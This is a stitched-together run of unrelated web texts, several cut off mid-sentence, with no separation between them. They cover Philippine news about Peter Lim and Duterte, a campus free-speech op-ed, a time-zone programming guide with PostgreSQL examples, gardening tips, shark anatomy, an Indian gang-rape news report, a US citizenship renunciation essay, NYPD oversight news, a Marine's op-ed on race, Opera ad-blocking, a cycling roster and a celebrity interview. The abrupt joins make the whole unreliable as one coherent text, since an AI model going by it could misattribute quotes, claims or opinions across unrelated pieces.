Fuentes called a news conference here on July 8 to deny that the businessman was the Peter Lim named by Mr. Duterte in an address on national television the day before as the one of the country’s top drug lords.
He said Mr. Duterte and Lim were among the principal sponsors at the wedding of Yuri Ofek, an Israeli expatriate who works as country manager of a local business outsourcing company, and Beatrice Borja.
“If you’ll look at it, my client and our beloved President are kumpare,” Fuentes told reporters.
Other principal sponsors included Sen. Cynthia Villar and her husband, former Sen. Manny Villar. Their son, Mark, is now the secretary of public works.
Duterte supporter
Borja is the only child of businessman Fernando Borja, owner of Adnama Group of Companies and a close friend of Mr. Duterte who supported his presidential campaign, sources said.
The company is into export, mining and real estate, among other businesses.
The businessman hosted a thanksgiving dinner for Mr. Duterte at Level 8 in Adnama Building at the Mandaue Reclamation Area on June 8.
During the July 8 news conference, Fuentes said Lim had no plans of meeting the President to clear his name.
ADVERTISEMENT
“The Peter Lim of Cebu is a very shy person. I don’t think he has the gall to ask the President for a meeting. Sending the President a letter is an option. But the decision shall come from him (Lim),” he said.
Apparently, Lim changed his mind and flew to Davao on Friday to see Mr. Duterte and to deny he was the drug lord named Peter Lim being sought by the police.
Online photos
Photos of the two men were circulated online on Sunday, drawing sharp criticisms from netizens.
The Facebook page Facts Against Ignorance, which posted the photos, claimed the pictures were taken during the June 25 wedding.
The post read: “WAG MASYADONG NAGPAPABOLA SA DRAMA NILA (Don’t believe in their drama).” It also claimed that Lim was given due process by the President because they were kumpare and Lim was one of the contributors to Mr. Duterte’s presidential campaign.
Facebook posts
It ended with a quote from Mr. Duterte’s message to Lim: “We want to help you, help us to clear you.”
The post had generated 762 shares and 345 comments as of 6 p.m. on Sunday.
Apoleo Emil Kusay, another Facebook user, called for Mr. Duterte’s resignation.
But the President had defenders.
One of them was?Jag Bacalso Lucero, who said: “That pic was taken during the wedding of borja same date during victory party of cebu. C mayor is invited sa wedding ….” With reports from Doris C. Bongcac and Ador S. Mayol, Inquirer Visayas
Read Next
LATEST STORIES
MOST READPhoto provided by the Warwick Department of Economics
Nothing has angered me more this month than watching the privileged students at Ivy League institutions whine about their hurt feelings because someone didn’t agree with their beliefs.
There, now that I’ve said those words I’m going to try to calmly and coherently explain the problem of this modern political correctness.
In a now infamous video of Yale students confronting Professor Nicholas Christakis, Christakis asks students, “who gets to decide what’s offensive?” Two students reply, “when it hurts me. When it’s offensive to me,” to which Christakis responds, “what if everybody says, ‘I’m hurt,’ does that mean everyone else has to stop speaking?”
Christakis addresses an important question: who decides what is offensive? Some entitled people may answer the question like the two students above, but it needs to be clear that being offended is subjective. What offends you may not offend me, and vice versa. People today, especially the younger generation, want to restrict anything that may be racially insensitive, classist, sexist, ageist, or any other ‘-ist’ word the PC world can create. In context, these are often reasonable concerns, but what about those offended by vulgar language, skin-revealing outfits, religious criticism, distasteful humour, feminism, or an ‘opposing side’ of the abortion debate? Should their concerns be heard as well and acted upon, or should they simply look away and cover their ears? The world is not a safe space for continuous comfort, it is a safe space for free speech.
In Erika Christakis’s ‘controversial’ email, she said that “American universities were once a safe space not only for maturation but also for a certain regressive, or even transgressive, experience; increasingly, it seems, they have become places of censure and prohibition.”
Erika is defining a “safe space” properly. A safe space should be defined as “a space where people have the freedom to express themselves without fear of discrimination for their ideas,” but some are defining it as “a space that disallows free expression to prevent offense or discomfort.” No longer is it freedom of speech, but freedom from speech. Those that use the latter definition may be well-intentioned individuals, but such an intolerant ideology is anti-democratic and extremely dangerous.
You cannot regulate what people say and still call your country a democracy. Countries like Saudi Arabia, Iran, China, and Eritrea rank terribly on the Press Freedom Index every year because when freedom of speech is reduced and regulated, the less free and more totalitarian a nation becomes. The Canadian Charter guarantees us the “freedom of thought, belief, opinion and expression” with “such reasonable limits prescribed by law as can be demonstrably justified in a free and democratic society.” The moment these freedoms get threatened, we need to unite and defend the right to free speech, even if it’s offensive and detested content.
I’ve been offended on campus. Heck, I’ve been offended reading articles from this very newspaper, but do I do anything about it? Of course not. I don’t care. They have their freedom of speech just as much as anyone else; it’s the very foundation of a democracy. If you’re offended, then be offended because nothing happens. But if you have to, discuss it with your peers and settle the dispute yourself. Don’t call for administrative intervention. University students are adults and should act like it. In Erika’s email she says, “if you don’t like a costume someone is wearing |
It should be obvious at this point that handling date and time correctly across time zones is not a trivial task. Please consider the following points before you determine how to handle time zones in your system.
Local time is ambiguous
This is especially true when local time uses DST. If we only store the local timestamp it is impossible to look at historical data in chronological order because of the "Fall back" behavior described above. It is also impossible to convert one local timestamp to local time in another time zone without converting first to UTC, for the same reason. Also note that if such a conversion is needed the time of day is not sufficient for conversion, the date part of the timestamp must be used to determine the offset from UTC. Dealing with historical data can be really tricky, as daylight saving periods sometimes change from one year to the next.
Store timestamps in UTC
If it is required to view data in a different time zone the common practice is to convert local timestamps to UTC before they are persisted and then convert them to the desired time zone when needed. This is almost always the best strategy, as opposed to storing the value of the local time. Even if the system is only currently being used in a single time zone this allows for correct chronological ordering of data even with DST.
Converting time data is not as hard as it might sound. Most programming environments provide library functions to perform the conversion, even for historical data. This is true for code written in C/C++ on Unix-based systems and Windows. More recent programming environments like Java,.NET, Python, Ruby/Rails and PHP also have good support for time zone conversions. If somebody tells you that you can support time zones by storing local time and an integer preference for the user as the offset from UTC, you can tell them they are wrong!
Databases
Most databases support a DateTime data type. Some of them have a built-in time zone conversion and storage using a similar scheme as tzdata described above. Before using a new database you should make sure you understand all the details on how time zones are handled (if at all).
Using PostgreSQL the following SQL demonstrates the "Spring forward" and "Fall back" for the year 2016 in Denver Colorado.
DROP TABLE IF EXISTS t; CREATE TABLE t(the_time TIMESTAMP WITH TIME ZONE NOT NULL); INSERT INTO t(the_time) VALUES ('2016-03-13 08:59:59Z'),('2016-03-13 09:00:00Z'), ('2016-11-06 07:59:59Z'),('2016-11-06 08:00:00Z'); SELECT the_time AT TIME ZONE 'GMT' as the_time, the_time AT TIME ZONE 'America/Denver' AS local_time FROM t ORDER BY the_time;
Giving the following results:
Gmt_time local_time 2016-03-13 08:59:59 2016-03-13 01:59:59 2016-03-13 09:00:00 2016-03-13 03:00:00 2016-11-06 07:59:59 2016-11-06 01:59:59 2016-11-06 08:00:00 2016-11-06 01:00:00
This is the same example as before, showing two pairs of timestamps around the changes from daylight saving time on March 13th and at the end of DST on November 6th in 2016. In GMT there is one second between the timestamps. In the spring this becomes one hour and in the fall it becomes minus one hour!
Web applications
There are several different issues that have to be taken into account regarding time zones when writing a web application. The first issue is if the time zone of the user can be determined automatically. The answer is yes, but it is not as simple as getting the time zone from the HTTP headers in the request.
There are Javascript libraries that can be used to detect the time zone of a machine running the browser and could return that value back to the server i.e. using an AJAX call. The bigger question is if this is the best solution for a particular application. Sometimes it is better to have the time zone stored in user preferences, given that users authenticate, as the user might be traveling. This also depends on properties of the data. Sometimes the data is strongly associated with a particular location and therefore the data should always be shown in the time zone of that location regardless of where the user is located. In other cases, we might be dealing with a live connection where it is imperative for the user to know when it happens in his local time.
Another issue with web applications is that many web servers are multithreaded with a common thread pool. Each thread from the pool will serve one request from a user, send a reply and then return to the pool. In such an architecture you must be careful to set the time zone of the thread correctly before beginning any processing on each request. Care must be taken that this operation is not too costly as it must happen on every request, so the time zone information is often stored in the user session.
Testing time zone code
A good area to test any code that uses time zones is to investigate the behavior of the system around the daylight saving boundaries - as I've been doing in the examples above. It is maybe especially important in systems where duration or a difference between timestamps is important for their function. Conversion to UTC makes testing those properties very easy, even when the original events originate in different time zones. An example of this is the duration of transport between locations that are not in the same time zone.
Conclusion
It should be clear making computer systems that handle multiple time zones correctly is not simple. If the system also has to handle historical data the complexity increases considerably. This is in part because the political system that controls time zones and daylight saving time, in particular, does not appreciate the technical problems that it creates.
All this would be much easier to deal with if daylight saving time was done away with as most of the world has already done.
Ideally, we would do away with time zones as well! The whole planet can of course simply use UTC. Then a point in time would be defined without any ambiguity. The only difference would be that we would go to work and/school at a different time of day. But noon would no longer happen at or around 12:00 (except on the prime meridian) which is probably not acceptable for the general public. If you look carefully at the map in the beginning of this post you see that China has already taken this step and have a single time zone covering an area comparable to four time zones in Russia.
ReferencesImage zoom For the best effect, plant bulbs in large drifts rather than single file.
Plant hardy bulbs anytime in fall before the soil freezes, but it's best to plant them early enough so the root systems can grow before extremely cold weather arrives. In some climates, you can plant until Thanksgiving, even Christmas. Late-planted bulbs will develop roots in spring and may bloom later than normal; they'll get back on schedule the following year. Water the bulbs after planting to stimulate the roots to grow.
Positioning bulbs at their proper depth helps ensure their longevity. Generally bulbs should be planted so the bottom rests at a depth that's two-and-a-half times the bulb's diameter. In well-drained or sandy soil, plant an inch or two deeper to increase longevity and discourage rodents.
Related Chart: Planting Depth for Spring Bulbs
Related Slide Show: Best Bulbs for Spring
Image zoom Interplanting bulbs that bloom at about the same time gives you twice the show in half the space.
Because bulbs look best planted in groups, you are better off using a garden spade instead of a bulb planter, which encourages you to plant bulbs singly. A spade makes it easier to set bulbs side by side in large groups. Plant groups of bulbs in holes no smaller than a dinner plate, or dig wide, curving trenches and position the bulbs in the bottom.
Layer different types of bulbs from bottom to top in the same hole to create companion plantings or a succession of bloom in a given location. For example, dig a 6-inch-deep hole and place several Dutch hyacinths in the bottom, lightly cover them with soil, then plant a handful of grape hyacinths at a 5-inch depth. The two types of hyacinths bloom at the same time in spring. The grape hyacinths create a softening skirt beneath the more massive Dutch hyacinths. As another benefit, the leaves of the grape hyacinth bulbs appear in autumn and remain all winter, providing a marker for the dormant Dutch hyacinth bulbs, so you won't inadvertently plant on top of the hyacinths or dig them up.
Interplanting provides maximum flowers in the smallest space and eliminates bare spots where bulbs go dormant. To create a succession of bloom and foliage, plant perennials around the bulb holes. As the bulb foliage dwindles, the perennials will grow up, camouflaging the bulbs' yellowing leaves. This interplanting technique works in both formal and informal gardens.The Importance of Being
Cartilaginous
Why is a shark's body composed of cartilage and what is the evolutionary advantage of this?
Heather
Castlegar, B.C.
A shark's body is of course composed of many different types of tissue, of which cartilage is but one. If I may be permitted to presume, I think that what you meant to ask is something along the lines of: for sharks, what is the evolutionary advantage of having a cartilaginous skeleton?
If I have second-guessed your meaning correctly and please forgive me if I have misunderstood that's a splendid question, Heather!
Unlike most vertebrates, sharks do not rely on their internal skeleton to provide them with firm sites for muscle attachment. Instead, underneath their sandpapery outer covering (studded with countless thousands of tiny, tooth-like scales called 'dermal denticles' ), sharks have a thick skin composed of a complexly criss-crossed meshwork of tough-but-springy fibres made of a protein called collagen. This meshwork of collagen fibers forms a kind of 'corset' to which the swimming muscles attach. By having their swimming muscles attached directly to the tough, armor-like skin, the skin is able to act as a kind of external skeleton. From a mechanical perspective, having the muscles attached directly to an external skeleton is a very efficient arrangement, resulting in very little waste of muscular energy which explains why even the tiniest crab can give such a disproportionately painful nip!
Another benefit of having an internal skeleton made mostly of cartilage is weight reduction. Cartilage is tough but supple and only about half as dense as bone. Because of its relatively low density, a shark' body mass is significantly reduced and therefore requires substantially less energy to propel through the water. Since sharks lack any trace of a swim bladder an internal organ that many bony fishes use to achieve neutral buoyancy by the controlled secretion and absorption of the gases within it they are largely dependent upon dynamic lift, much like a glider. The less muscular energy a shark has to commit to avoid sinking, the more is available for forward propulsion. Thus, by having a light-weight internal skeleton, sharks reduce the amount of energy needed to swim. And by relying on a tough, 'external' skeleton formed by the skin, sharks increase the efficiency of swimming muscle contraction without incurring any loss of bodily support.NEW DELHI — India’s Supreme Court has ordered an investigation into the gang rape of a 20-year-old woman allegedly attacked on the direction of a village council, Press Trust of India news agency said Friday.
The woman told police that Monday’s attack in West Bengal state came as punishment for falling in love with a man from a different community and religion.
The case has brought fresh scrutiny to the role of village councils, which are common in rural Indian. The councils decide on social norms in the village, and in some cases they dictate the way women can dress or who they can marry.
Those who flout the councils risk being ostracized.
Thirteen suspects, including the head of the village council, were arrested Thursday.
“Go enjoy yourselves,” the head of the council allegedly told the other men on the council when they held court to punish the woman.
The Times of India reported she was raped on a platform set up to publicly humiliate her.
The West Bengal state government on Friday transferred the top police official of the district for failing to follow proper procedures while arresting the suspects.
The woman is a member of the ethnic Santhal tribe. Her religion has not been disclosed but in general the tribespeople worship spirits and ancestors. The man is a Muslim from a neighbouring village and did not belong to that tribe.
The women told police that the man visited her village, Subalpur, in Birbhum district of the state, on Monday to propose marriage, but was caught by other villagers. She said the two of them were tied to a tree while the village council decided their fate.
The village council ordered the man and woman to each pay a fine of 25,000 rupees ($400). The man’s family was able to pay, but when the woman’s family said they were too poor, the council ordered the gang rape, police said.
The woman told police that she lost count of how many men raped her.
A rash of high-profile rapes in India over the past year has sparked widespread outrage over chronic sexual violence and government failures to protect women.
Subalpur is about 180 kilometres north of Kolkata, the capital of West Bengal.Why I renounced my US citizenship (Hint: it’s not because I’m avoiding taxes!)
Rachel Heller Blocked Unblock Follow Following Jun 11, 2016
After my American Studies lectures, amid the clamor of students packing up and making their way out of a crowded lecture hall, a few students often line up to ask me individual questions. Usually these are practical: to explain an absence or to ask about course requirements.
One day last September, though, a tall young man approached me with a different question. He was polite but direct in what he wanted. “I hope you don’t mind my asking, but why did you move to the Netherlands?”
“My husband is Dutch,” I replied, as I have for the last 18 years.
He looked at me with something like pity. “Because you speak about America as if you really love it…”
I nearly wept there and then, shoving my notes into my bag. Swallowing the lump in my throat, I deflected his query and changed the subject, but the irony of his remark stung.
I had just that morning received the date for my renunciation of US citizenship at the consulate in Amsterdam.
US passport
Let’s get this straight: I love the US. I grew up there and, despite the 18 years I have lived in the Netherlands, and the fact that I have Dutch citizenship, I still feel more American than Dutch.
So why would I want to give up my US citizenship? Because of unjust, onerous US laws that treat me like a suspected criminal: entitled to fewer rights than other Americans.
I used to feel blessed to have the US citizenship that so many people, including my own immigrant grandparents, were so desperate to have. Now, every time I think about my renunciation last November, I am angry. I resent that I was put in that position. I feel unjustly persecuted. I spent many nights sleepless from worry about what I was being asked to do by the US government, and, eventually, got tired enough to let go.
Violation of Privacy
Overseas Americans like me cope with a violation of privacy that homeland Americans are not exposed to. Because I did my banking locally, I was required to submit a form called FBAR (Foreign Bank Account Report). On this form, I had to report the highest balance (over $10,000 in each account or the aggregate) of the year in every local account that had my name on it. What that meant was that my husband’s salary also got reported because we have a joint account. Why is it any of the US government’s business what my Dutch husband earns? If US citizens living in the US had to report the balance of every account they had in their local bank — all their assets, in other words, not just their income — they would be up in arms, protesting the government’s intrusion in citizens’ private business.
So why do Americans living overseas have to report their balances? The FBAR is required by the Financial Crimes Enforcement Network (FinCEN). In other words, by living abroad, we are automatically suspected of breaking federal laws to avoid taxes. US citizens who live in the US do not have to report their local account balances unless they are suspected of a crime. To get the same records in the US, law enforcement would have to get a subpoena.
At the same time, the US has worked out Intergovernmental Agreements (IGA’s) with many countries, including the Netherlands. Under this agreement, the Dutch government requires our local banks to report Americans’ account information to the US government. Presumably this is so that the US can compare the banks’ accounting with our own FBAR reporting. If they do not match, the US threatens excessively large fines, entirely out of proportion to the totals reported in those accounts, enough to wipe out one’s entire savings. Many banks, meanwhile, are beginning to refuse to do business with US citizens in order to lower their compliance costs.
Citizenship-based Taxation
This state of affairs comes about because the US bases its taxation system on citizenship, unlike the rest of the world, where taxation is residence-based. In other words, while I live in the Netherlands, pay taxes in the Netherlands, and receive services in return for my taxes from the Netherlands, I was also expected to pay in the US, despite the fact that I received no services for my tax dollars.
The Foreign Account Tax Compliance Act (FATCA), passed in 2010 and in effect since 2014, was intended to catch “tax cheats”: billionaires living in the US who send their money abroad to hide it from the IRS. The problem is that people like me, who have moved abroad for jobs or for love, are persecuted as a consequence of that effort.
This does not mean that I was trying to avoid paying my “fair share,” the misleading phrase often used by politicians and repeated by the press. Because of a treaty between the US and the Netherlands (and many other countries), I only had to pay US taxes if my income was higher than about $100,000, which, as a teacher, it will never be. Instead, I pay where I live. I am in the 42 percent tax bracket here in the Netherlands, and my husband’s income puts him in the 52 percent bracket. That is much higher than it would be in the US, so I cannot be accused of avoiding taxes. If I wanted to do that, the Netherlands would be the last place I would live.
Nevertheless, I had to fill out US tax forms every year, plus extra forms to claim my foreign tax exemption, all to prove that I in fact do not owe any US taxes.
I repeat: I love the US. But I had to fill out lengthy forms (or rather, I spent almost a thousand euros a year to pay an accountant to do them for me), exposing my and my husband’s accounts to US government scrutiny, and I risked losing the ability to do the sort of banking that any middle-class American would normally take for granted.
Lack of Representation
At the same time, I particularly resent that no one hears the complaints about this law coming from the approximately 9 million US citizens living abroad: a population the size of New Jersey. They can vote in the last place they were registered, which, in my case, was California, where I have not lived in more than 18 years. Because of this structure, their votes are diluted over the 50 states. No one represents our unique needs as Americans living overseas.
Does “No taxation without representation” sound familiar?
Accidental Americans
Among the approximately 9 million Americans living overseas, there is a growing population of “accidental Americans.” Many of these “accidental Americans” are Canadians who were born in US hospitals just over the border. They were brought home to Canada when they were newborns and have lived their lives since then in Canada as Canadian citizens. By the US definition, they are US citizens as well, and should have been filing US income tax forms every year. Many only discovered this recently and are now under threat of huge fines if they do not get compliant with the US taxation laws. The same goes for children of US citizens, like my son, who are born abroad but qualify as US citizens.
Some reading this might say “Fine, you chose to leave the US. Deal with it.” In my case, that is true: I chose to move away to be with my husband. In the case of “accidental Americans,” it is not.
The Cost of Renunciation
But dealing with it by giving up citizenship — an obvious solution for accidental Americans as well as Americans living overseas permanently like me — is difficult. The US recently increased the fee to renounce citizenship from the already-ridiculous $450 to $2350. Supposedly, this is to pay the costs of processing a renunciation. I suspect that, instead, the intention is to prevent us from renouncing. Many Americans living overseas simply cannot come up with that kind of money.
Raising the fee and other requirements to renounce is not going to achieve what it is ostensibly meant to achieve: to bring in more tax dollars. It might initially raise some cash as overseas Americans scramble to get compliant. However, wealthy Americans residing in the US but hiding money overseas will still be able to hide money overseas. And they can afford to hire accountants to get compliant, while the fee to renounce is pocket change to them.
They get away scott-free, while the rest of us — law-abiding, patriotic Americans who happen to live overseas — feel so burdened that we reluctantly renounce citizenship.
I’ve had conversations in the last year with many colleagues, students, friends and family about my emotions surrounding renouncing my citizenship: my longing for relief from an injustice that felt like persecution, and, at the same time, my grief at such a final parting from the US. Their consistent response has been “Rachel, you’ll always be an American.” I definitely still feel American, but flawed, punitive US policies have forced me to give up my legal claim to the citizenship I carry in my heart.
I am grappling with a deep sadness. I love the US.
Yet I have had no choice but to say good-bye.
Rachel Heller is a teacher living in Groningen, The Netherlands. She blogs at Rachel’s Ruminations about travel and other topics. This article is a slightly altered version of the statement she submitted to the US consulate along with her application to renounce.The City Council voted Thursday to greatly increase oversight of the New York Police Department and of its widespread use of stop-and-frisk tactics.
Coming after historic crime declines stretching 20 years and aimed at a police force whose tactics long enjoyed strong support in City Hall and among many New Yorkers, the move on two bills marked a decisive swing of the pendulum toward reining in the practices of officers and the policies of their leaders.
The votes, a week and a half after a federal judge ruled aspects of police stops in the city unconstitutional, amounted to a stinging personal defeat for Mayor Michael R. Bloomberg. He has considered the policy to be central to one of his main achievements: a city safer than many hardened residents had thought possible.
The two bills, which the mayor had vetoed and will now become law, represented an effort by frustrated elected officials to force changes on the police from the outside — one through an outside inspector general with subpoena power to study and make policy recommendations to the department; and the other by opening state courts up to individual claims of bias-based policing and by expanding the categories of people entitled to sue.Marines train in marksmanship at Camp Lejeune, N.C., 2012. (Photo: Sergeant Bobby Yarborough
Let’s drop our tribal divisions and unite as Americans.
Racism is not a problem in the United States Marine Corps. There is no distinction between black or white Marines — or any color in between. Drill instructors, NCOs, and commanding officers alike teach their men that there are no races in the Marines — to the Corps, whether you are light green or dark green is irrelevant. We are all green, and that is all that matters. For many decades, Marines of all different shades have fought, bled, and died beside each other. Promotion is based on performance scores, not on race. Discipline is based on individual action, not on race. Marines identify as Marines, not as a race.
Advertisement
Advertisement
If more Americans discarded the divisive labels that are thrust upon us every day by government policy, progressive ideology, and popular culture, we would have a much more united, less factionalized, less racist society.
One of the first things I remember being taught in life is that skin color does not matter. Discrimination, segregation, and hatred are wrong. Separate is not equal. I took this nugget of truth to heart and I have tried to live my life in a manner that confirms that ideal. Race is an artificial human social construction, a construction which has been a powerful force in conquest, enslavement, segregation, apartheid, murder, and genocide. Race is a negative force; it is a way for people to justify division and separation between groups of people.
Just over 100 years ago, President Theodore Roosevelt, in a famous speech, called for discarding the hyphen that many Americans carried as part of their identity. He argued that maintaining the hyphen in American society, would lead to the eventual destruction of America. “The one absolutely certain way of bringing this nation to ruin, of preventing all possibility of its continuing to be a nation at all,” Roosevelt said, “would be to permit it to become a tangle of squabbling nationalities.”
Advertisement
RELATED: Identity Politics Are Ripping Us Apart
Advertisement
Last year, then–Louisiana governor Bobby Jindal echoed this sentiment when he said of his parents, “They weren’t coming [to America] to raise ‘Indian-Americans.’ They were coming to raise Americans.” Jindal proclaimed that he was tired of hyphenated Americans, a practice which only divides us.
In 1963, Martin Luther King Jr. called for the end of racism in America. He dreamed that we would “one day live in a nation” where Americans “will not be judged by the color of their skin but by the content of their character.”
Unfortunately, our nation has changed from the United States I knew in my youth to the country that we live in today. While I concede that my perspective has changed from that of a child to that of an adult, I believe that our country — while never having fully succeeded in discarding racism in the past — has regressed in the last decade. It’s true that the evil, government-sanctioned horror that was chattel slavery and Jim Crow are long gone. Public schools have been integrated for more than four decades. In theory all U.S. citizens are equal under the law. In 2008, we elected a black president.
Advertisement
RELATED: America’s Balkan Values
Advertisement
Yet despite these signs of progress, today we are mired in a backward-trending divisive ideology of self-segregation, fruitless categorization, and tribalism. I watched in profound sadness and disappointment in the winter of 2014 when, in the midst of the terrible self-destructive riots in Ferguson, Mo., President Obama, the man with the perhaps greatest opportunity to lead our country into reconciliation and unity since Reconstruction, instead further divided our country. I was listening, waiting to be led to a new America, and he left me disappointed and Ferguson burning.
The end state of the progressive ideology that celebrates and reinforces race as an important distinction in employment, crime, education, and politics is a society that is further split into warring factions. It is rolling back the spirit of E Pluribus Unum. Instead of uniting the country as one, it seeks to divide us based on the color of our skin. Our young people are assaulted by a racial ideology that tears us apart. Divisive jokes, slurs, nicknames, and categorization confront our youth every day. Rap songs, social media, and popular culture all reinforce that divide instead of minimizing it. But instead of finding ways to move past these troubles, progressive ideology seeks to normalize racial slurs rather than eliminate them.
Advertisement
#share#I have experienced racism in my life. Things have been assumed about me because of my appearance. I have been called slurs. I have gotten in fights. I, too, have been categorized against my will. I am one of the millions of Americans who does not fit into the convoluted categories and divisions that government policy and racial ideology try to force us into. I refuse to be categorized based on my skin color or ancestry by anyone — but especially by the government.
Advertisement
In order to exercise your constitutional right to buy a firearm in the United States you must fill out the ATF 4473 form from which a background check is conducted. Buyers are required by our government to categorize themselves by answering two questions: Question 10A on ethnicity requires you to check “Hispanic or Latino” or “Not Hispanic or Latino”; Question 10B requires a buyer to define himself by choosing at least one of: American Indian or Alaskan Native, Asian, Black or African American, Native Hawaiian or Other Pacific Islander, or White.
Advertisement
RELATED: The Race-Obsessed Left Has Released a Monster It Can’t Control
Archaic classification systems are non-scientific, flawed, divisive, and pointless. How should a person answer whose parents and ancestors were Arabs born in Egypt? What about white people born in New Zealand? Are they not Pacific Islanders? Is it not insane that Lebanese, Pashtun, Bengali, Tamil, Turkish, Cambodian, Indonesian, and, of course, Chinese, Japanese, and Korean Americans are all classified by our government as “Asian”?
I refuse to be categorized based on my skin color or ancestry by anyone — but especially by the government.
One of the most insulting incarnations of racism today is the idea of race-based voting. Whenever politicians and media predict the outcome of the “Black vote” or the “Latino vote,” I cringe. How is it not racist for someone to assume — or even expect — an individual to vote based on the color of his or her skin? What is more racist than to ascribe a person’s political views to her physical appearance? Should not a person vote his conscience? Should not experience, philosophy, religion, economic status, residency, education, occupation, and morality have far more to do with an individual’s political perspective than his or her pigmentation? Expecting someone to think, behave, or vote a certain way based on skin color is as racist as segregation. And yet many who dare dissent from the politics they are expected to hold based on skin color are often called traitors or Uncle Toms.
I am a conservative American who hates racism. I am in fact actively anti-racist: I want to live my life in a way so that my tiny corner of the universe is positively improved by practicing anti-racism. What is the end state of divisive racial ideology? It is unending division. For progressives, is there ever a point where Asian Americans, African Americans, European Americans, Hispanic Americans (another socially constructed category — arbitrarily divided from Native Americans) can just be Americans? Not that I’m aware of. Progressive ideology seems to want to divide us — permanently.
Advertisement
Alternatively, the admittedly far-off and idealistic goal for American society from a conservative perspective is color blindness. If race shouldn’t matter in how we judge individuals, let’s treat it like it doesn’t matter. Let’s remove race as a criterion for consideration. Conservatives should work toward a society where nothing is influenced or decided based on the color of a person’s skin. A truly uniting policy would be to move beyond these feudal bonds of socially constructed imprisonment. Let us cast off any stereotypes, assumptions, benefits, grievances, or impairments based on the amount of melanin in a person’s hide.
#related#Encouragingly, there is a precedent for this idea in American history — when disparate groups of English, Dutch, German, Swedish, Welsh, and Scottish colonists became, simply, American. Later, the Poles and Italians became Americans. The Irish — once thought to be too different to ever truly assimilate into our culture — became Americans. During the First World War many Americans of Germans descent made tangible changes in their customs and culture to become, simply, Americans.
I am not advocating that you forget your heritage or ancestry. As free men and women, by all means celebrate your ancestry and heritage as you please, but remember that we are an American Nation, and that “American” is our nationality — something far more important and unifying than the artificial and destructive concept of race.
So let me join with President Roosevelt and Governor Jindal in calling for an end to hyphenated Americans. Let us drop our tribal divisions and embrace our shared heritage and nationality. Let us unite as Americans. Let us remember that separate is not equal. I hope that, as Americans, we will move toward a color-blind, post-race, and post-racist society. That is the only way to end racism.
Advertisement
— Zack “Cookie” Wright was a sergeant in Lima Company, Third Battalion, Fourth Marine Regiment and is a veteran of the Iraq War.
Editor’s Note: This article originally misidentified ATF form 4473 as the ATF form 1140.Opera Software (opesy) has rolled out its native ad-blocking feature to its browsers for Apple’s (aapl) iPhones and iPads, and for Microsoft’s (msft) Windows Phone.
The Norwegian company had already deployed the feature in its desktop browser and Opera Mini for Google’s (goog) Android. Now, with ad-blocking baked into Opera Mini for iOS and for Windows Phone, it reckons it has all major bases covered.
“Users are demanding ad blockers because of the better browsing experience it offers,” said Opera’s senior vice president for mobile browsers, Nuno Sitima, in a statement.
Get Data Sheet, Fortune’s technology newsletter.
“Opera users can speed up their mobile surfing, skip extra data charges and stretch their Internet packages even further by blocking in the browser intrusive and data-wasting ads and heavy tracking.”
The company claims its inbuilt ad-blocking feature makes for faster loading times than with third-party plugins such as AdBlock Plus. Opera has long been focused on reducing the amount of data used when loading a page—its Mini browser, which made its name in emerging markets, also has compression features that achieve this.
Online advertising is generally what makes it possible for publishers to deliver free content, though it does have its downsides, such as increasing the amount of data in a webpage, and building detailed profiles of people’s web-surfing habits. Some ads also provide a path for malware to infect the user’s device.
New research from Reuters shows that ad-blocking rates are increasing, ranging from 10 percent in Japan to 38 percent in Poland. News sites are particularly hard-hit by the development, which is largely down to users under the age of 35.
For more on ad-blocking, watch our video.
The shift towards blocking ads is leading many publishers to adopt a “sponsored content” model, where what is essentially advertising is given the same look and feel as editorial content.
In some cases such as that of City AM in the U.K., publishers are going so far as to let advertisers post directly to the website, using the same mechanisms as editorial staff use. Ad-blockers are unlikely to be able to distinguish the two kinds of content.
The British mobile operator Three this week conducted a trial of network-level ad-blocking, although—unlike blocking ads on users’ devices—this is actually forbidden under new EU net neutrality rules.Belgian Pro Continental team Wanty-Groupe Gobert today announced their final 2017 roster, which includes 22 riders from five different nations. Nine new riders will strengthen the 2017 squad, including notable additions Lieuwe Westra from Astana, Guillaume Van Keirsbulck from Etixx-QuickStep and Yoann Offredo from FDJ. The staff remains unchanged with four sports directors. Related Articles Guillaume Van Keirsbulck signs two-year deal with Wanty-Groupe Gobert
Wanty-Groupe Gobert hoping for Tour de France wildcard
Wanty-Groupe Gobert wins the UCI Europe Tour - News Shorts
Westra signs with Wanty-Groupe Gobert
Offredo ready to show potential with Wanty-Groupe Gobert in 2017
The team will travel to Benidorm, Spain, January 9-21 for a training camp. The team's first race of the new season will take place on Sunday, January 29, with GP La Marseillaise, followed by Étoile de Bessèges.
Wanty-Groupe Gobert 2017 roster:
Simone Antonini, Frederik Backaert, Jerome Baugnies, Thomas Degand, Kenny Dehaes, Tom Devriendt, Fabien Doubey, Wesley Kreder, Guillaume Levarlet, Guillaume Martin, Mark McNally, Xandro Meurisse, Marco Minnaard, Danilo Napolitano, Yoann Offredo, Andrea Pasqualon, Robin Stenuit, Guillaume Van Keirsbulck, Kevin Van Melsen, Pieter Vanspeybroeck, Frederik Veuchelen, Lieuwe WestraChord Overstreet is black, white, and sexy all over in the first of our brand new Just Jared Spotlight of the Week photo series, exclusively on JustJared.com shot by photographer Justin Campbell!
The 24-year-old Glee hunk opened up to JJ about his songwriting process, biggest musical heroes, and growing up on Elvis and Michael Jackson.
Don’t forget – Chord is set to take the stage at The Roxy on Sunset in Los Angeles this Saturday (July 20) at 1pm PST. Grab your tickets now while you can!
In case you missed them, check out some behind-the-scenes photos from the shoot too!
Click inside to read our interview with Chord Overstreet, and 10+ photos…
JustJared.com Interview – Chord Overstreet
JustJared: We’re excited about your show this weekend! What can fans expect?
Chord Overstreet: Most of the songs I’m playing I wrote and then I’m doing a couple of covers, just fun songs that I love. We have a setlist and everything ready to go.
JJ: Do you get nervous before you hit the stage?
CO: It’s one of those things, you probably get nervous beforehand, but it’s like a football game on Friday night. You get those butterflies before you go on, but once you hit that field, instinct takes over and you just want to have fun.
JJ: Do you have any plans to do |
and sex.
But under current state and Federal law, diversity expenditures and PR are required to protect the enterprise. The detailed followup article in the HBR should be studied by upper managements since it not only blows the whistle on the waste and harm caused by current diversity programs but suggests a path to more cost-effective and productive programs:
